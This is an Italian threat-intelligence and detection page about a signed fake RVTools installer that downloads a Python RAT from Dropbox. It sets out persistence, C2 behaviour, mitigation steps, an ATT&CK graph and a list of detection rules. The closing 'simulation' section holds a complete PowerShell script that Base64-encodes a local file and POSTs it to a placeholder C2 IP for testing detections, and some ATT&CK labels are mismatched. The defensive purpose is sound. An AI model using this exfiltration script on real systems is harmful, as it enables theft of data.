Mascheramento RVTools: Come un Falso Installatore Firmato Distribuisce un RAT Modulare in Python
Detection stack
- AIDR
- Alert
- ETL
- Query
Sommario
Un installatore MSI malevolo, firmato con un certificato legittimo, si maschera come l’utilità RVTools usata dagli amministratori VMware. Una volta eseguito, l’installatore rilascia un VBScript che avvia PowerShell per scaricare un grande archivio ZIP da Dropbox. Tale archivio contiene un ambiente Python portabile che esegue un RAT multi-stadio capace di ricognizione, persistenza e comunicazione con server di comando e controllo con codici predefiniti.
Indagine
L’analisi ha tracciato l’MSI a un’azione VBScript personalizzata, Binary.MyScript.vbs, che decodificava un comando PowerShell offuscato. Quel comando scaricava un winp.zip payload in %APPDATA%, estraeva componenti e script Python come collector.py and Pmanager.py, e quindi stabiliva la persistenza tramite chiavi Run del registro e un’attività schedulata dopo il riavvio. I ricercatori hanno anche trovato che il RAT cifrava i dati raccolti con RC4 e si connetteva a cinque indirizzi IP fissi a intervalli di cinque minuti.
Mitigazione
Le organizzazioni dovrebbero applicare un rigoroso controllo di validazione della firma con controlli OCSP o CRL attivi, bloccare l’esecuzione di MSI non fidati e monitorare azioni VBScript personalizzate sospette incorporate nei pacchetti dell’installatore. I difensori dovrebbero anche prevenire esecuzioni automatiche di script scaricati, controllare nuove voci di chiave Run e la creazione di attività schedulate, e allertare su traffico in uscita verso indirizzi IP codificati non familiari.
Risposta
Se questa attività viene rilevata, isolare immediatamente il terminale interessato, raccogliere l’MSI, il VBScript e i file payload estratti per l’analisi forense, e rimuovere tutti gli artefatti di persistenza, comprese le chiavi Run e le attività schedulate. Gli indirizzi IP dei server di comando e controllo identificati devono essere bloccati al firewall, e deve essere effettuata una revisione più ampia delle credenziali e delle attività di Active Directory per determinare se si è verificato uno spostamento laterale.
graph TB %% Class definitions classDef phase fill:#99ccff classDef technique fill:#ffcc99 classDef tool fill:#cccccc classDef artifact fill:#e0e0e0 classDef persistence fill:#c2f0c2 classDef c2 fill:#f9c2c2 classDef evasion fill:#f0e68c %% Phases phase_initial_access[“<b>Fase</b>: Accesso iniziale<br/><b>Azione</b> – La vittima esegue un MSI malevolo firmato che si maschera come RVTools.”] class phase_initial_access phase phase_execution[“<b>Fase</b>: Esecuzione<br/><b>Azione</b> – MSI usa Msiexec per eseguire uno VBScript che avvia un downloader PowerShell nascosto.”] class phase_execution phase phase_payload[“<b>Fase</b>: Distribuzione payload<br/><b>Azione</b> – L’archivio viene estratto in un ambiente WinPython portatile contenente collector.py e manager.py.”] class phase_payload phase phase_persistence[“<b>Fase</b>: Persistenza<br/><b>Azione</b> – Il manager Python crea una chiave Run nel Registro, un’attività pianificata e una voce Active Setup.”] class phase_persistence phase phase_c2[“<b>Fase</b>: Command and Control<br/><b>Azione</b> – I dati raccolti vengono archiviati, cifrati con RC4 ed esfiltrati via HTTP POST verso IP hardcoded.”] class phase_c2 phase phase_evasion[“<b>Fase</b>: Evasione difensiva<br/><b>Azione</b> – Uso di binari firmati, esecuzione proxy e offuscamento dei caratteri per eludere il rilevamento.”] class phase_evasion phase %% Techniques for Initial Access tech_user_execution[“<b>Tecnica</b> T1204.002 Esecuzione utente: file malevolo<br/>La vittima esegue un file che crede legittimo.”] class tech_user_execution technique tech_masquerading[“<b>Tecnica</b> T1036.001 Mascheramento<br/>Il binario è firmato e nominato come un tool legittimo (RVTools).”] class tech_masquerading technique tech_trusted_dev_proxy[“<b>Tecnica</b> T1127 Esecuzione proxy tramite utility di sviluppo affidabili<br/>Binari firmati usati per bypassare i controlli di reputazione.”] class tech_trusted_dev_proxy technique %% Techniques for Execution tech_msiexec_proxy[“<b>Tecnica</b> T1218.007 Esecuzione proxy di binario di sistema: Msiexec<br/>Msiexec esegue il MSI malevolo.”] class tech_msiexec_proxy technique tech_vbscript[“<b>Tecnica</b> T1059.005 Interprete di comandi e script: VBScript<br/>Azione personalizzata avvia un payload VBScript.”] class tech_vbscript technique tech_powershell[“<b>Tecnica</b> T1059.001 Interprete di comandi e script: PowerShell<br/>VBScript decodifica ed esegue un downloader PowerShell nascosto.”] class tech_powershell technique %% Techniques for Payload Deployment tech_archive_custom[“<b>Tecnica</b> T1560.003 Archiviazione dati raccolti: metodo personalizzato<br/>Archivio ZIP da 33 MB (winp.zip) scaricato ed estratto.”] class tech_archive_custom technique %% Techniques for Persistence tech_registry_run[“<b>Tecnica</b> T1037.004 Script di avvio/logon: chiave Run del Registro<br/>Chiave Run creata per avviare manager.py all’avvio.”] class tech_registry_run persistence tech_scheduled_task[“<b>Tecnica</b> T1053 Attività pianificata<br/>Attività giornaliera eseguita con privilegi SYSTEM.”] class tech_scheduled_task persistence tech_active_setup[“<b>Tecnica</b> T1547.014 Esecuzione automatica Active Setup<br/>Voce Active Setup aggiunta per ogni utente.”] class tech_active_setup persistence tech_hijack_execution[“<b>Tecnica</b> T1574 Hijacking del flusso di esecuzione<br/>Attività pianificata utilizzata per deviare il flusso normale.”] class tech_hijack_execution evasion %% Techniques for Command and Control tech_exfil_unencrypted[“<b>Tecnica</b> T1048.003 Esfiltrazione su protocollo non C2 non cifrato<br/>Dati inviati via HTTP POST verso IP hardcoded.”] class tech_exfil_unencrypted c2 tech_exfil_asymmetric[“<b>Tecnica</b> T1048.002 Esfiltrazione su protocollo non C2 cifrato asimmetricamente<br/>Dati cifrati con RC4 prima della trasmissione.”] class tech_exfil_asymmetric c2 %% Techniques for Defense Evasion tech_system_script_proxy[“<b>Tecnica</b> T1216.002 Esecuzione proxy script di sistema: SyncAppvPublishingServer<br/>Script affidabili usati per nascondere attività malevole.”] class tech_system_script_proxy evasion tech_system_binary_proxy[“<b>Tecnica</b> T1218 Esecuzione proxy di binario di sistema<br/>Utilità Windows firmate abusate per eludere i controlli.”] class tech_system_binary_proxy evasion %% Artifacts artifact_msi[“<b>Artefatto</b>: malicious_RVTools.msi<br/>MSI firmato usato per accesso iniziale.”] class artifact_msi artifact artifact_zip[“<b>Artefatto</b>: winp.zip<br/>Archivio Dropbox contenente WinPython portatile.”] class artifact_zip artifact artifact_python_env[“<b>Artefatto</b>: ambiente WinPython<br/>Contiene collector.py e manager.py.”] class artifact_python_env artifact artifact_registry_key[“<b>Artefatto</b>: chiave Run del Registro<br/>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\WinPythonMgr”] class artifact_registry_key artifact artifact_scheduled_task[“<b>Artefatto</b>: attività pianificata<br/>WinPythonDaily eseguita come SYSTEM.”] class artifact_scheduled_task artifact artifact_active_setup[“<b>Artefatto</b>: voce Active Setup<br/>Configurazione di avvio automatico WinPython.”] class artifact_active_setup artifact artifact_c2_ip[“<b>Artefatto</b>: IP C2<br/>Indirizzi IPv4 hardcoded contattati via HTTP.”] class artifact_c2_ip artifact %% Connections phase_initial_access –>|usa| tech_user_execution phase_initial_access –>|usa| tech_masquerading phase_initial_access –>|usa| tech_trusted_dev_proxy phase_initial_access –>|consegna| artifact_msi tech_user_execution –>|esegue| artifact_msi tech_masquerading –>|abilita| artifact_msi tech_trusted_dev_proxy –>|aggira| artifact_msi phase_execution –>|usa| tech_msiexec_proxy tech_msiexec_proxy –>|esegue| tech_vbscript tech_vbscript –>|avvia| tech_powershell tech_powershell –>|scarica| artifact_zip artifact_zip –>|estratto in| artifact_python_env phase_payload –>|contiene| artifact_python_env phase_persistence –>|crea| tech_registry_run phase_persistence –>|crea| tech_scheduled_task phase_persistence –>|crea| tech_active_setup phase_persistence –>|usa| tech_hijack_execution tech_registry_run –>|scrive| artifact_registry_key tech_scheduled_task –>|crea| artifact_scheduled_task tech_active_setup –>|scrive| artifact_active_setup phase_c2 –>|archivia e cifra| tech_archive_custom tech_archive_custom –>|invia via| tech_exfil_unencrypted tech_exfil_unencrypted –>|usa| artifact_c2_ip tech_exfil_unencrypted –>|usa anche| tech_exfil_asymmetric phase_evasion –>|applica| tech_system_script_proxy phase_evasion –>|applica| tech_system_binary_proxy tech_system_binary_proxy –>|facilita| tech_msiexec_proxy tech_system_script_proxy –>|facilita| tech_vbscript
Flusso di Attacco
Rilevazioni
LOLBAS WScript / CScript (via creazione processo)
Visualizza
Esecuzione di Python da cartelle sospette (via cmdline)
Visualizza
La possibilità di esecuzione tramite linee di comando PowerShell nascoste (via cmdline)
Visualizza
Un archivio è stato estratto in una directory sospetta utilizzando Powershell (via powershell)
Visualizza
Possibili query DNS a sottodomini API di Dropbox iniziate da processi non legittimi (via dns_query)
Visualizza
IOC (HashSha256) per rilevare: Masquerade RVTools: Come un Fake Installer firmato distribuisce un RAT Python modulare
Visualizza
IOC (HashMd5) per rilevare: Masquerade RVTools: Come un Fake Installer firmato distribuisce un RAT Python modulare
Visualizza
Rilevazione dell’esfiltrazione dei dati via IP codificati e HTTP POST [Connessione di rete Windows]
Visualizza
Rilevazione dell’esecuzione nascosta di PowerShell malevolo e Invoke-WebRequest [Windows Powershell]
Visualizza
Installatore falso sospetto RVTools che distribuisce Python RAT [Creazione processo Windows]
Visualizza
Esecuzione di simulazione
Prerequisito: Il controllo pre-volo Telemetria e Baseline deve essere superato.
Razionale: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per innescare la regola di rilevamento. I comandi e la narrazione devono riflettere direttamente i TTP identificati e mirano a generare la telemetria esatta prevista dalla logica di rilevamento.
-
Narrazione e Comandi di Attacco:
Un avversario che ha già stabilito un punto d’appoggio sulla macchina vittima decide di esfiltrare un piccolo set di dati (ad esempio,C:Tempsecret.txt). Per evitare di attivare avvisi generici di traffico in uscita, l’attore utilizza un PowerShell one-liner che esegue un HTTP POST direttamente a uno degli IP C2 codificati (192.0.2.10). Il comando è pianificato tramite un Attività Pianificata di Windows per garantire la persistenza (T1546.013). Non vengono lasciati binari aggiuntivi, mantenendo l’attività ‘vivente del territorio’. -
Script di Test di Regressione:
# ------------------------------------------------- # Script PowerShell – Esfiltrazione dati tramite IP codificato # ------------------------------------------------- $c2Ip = "192.0.2.10" $c2Port = 80 $uri = "http://$c2Ip/exfil" $file = "C:Tempsecret.txt" # Assicurati che il file esista (crea dati simbolici per il test) if (-Not (Test-Path $file)) { "dati sensibili $(Get-Date)" | Out-File -FilePath $file -Encoding ASCII } # Leggi il contenuto del file e codificalo in Base64 $payload = [Convert]::ToBase64String([IO.File]::ReadAllBytes($file)) # Effettua l'HTTP POST $body = @{ data = $payload } try { Invoke-WebRequest -Uri $uri -Method POST -Body $body -UseBasicParsing -TimeoutSec 10 Write-Host "Tentativo di esfiltrazione inviato a $c2Ip" } catch { Write-Error "Esfiltrazione fallita: $_" } -
Comandi di Pulizia:
# Rimuovi il file simbolico Remove-Item -Path "C:Tempsecret.txt" -Force -ErrorAction SilentlyContinue # Elimina qualsiasi attività pianificata creata per il test (se presente) $taskName = "DataExfilTask" if (Get-ScheduledTask -TaskName $taskName -ErrorAction SilentlyContinue) { Unregister-ScheduledTask -TaskName $taskName -Confirm:$false }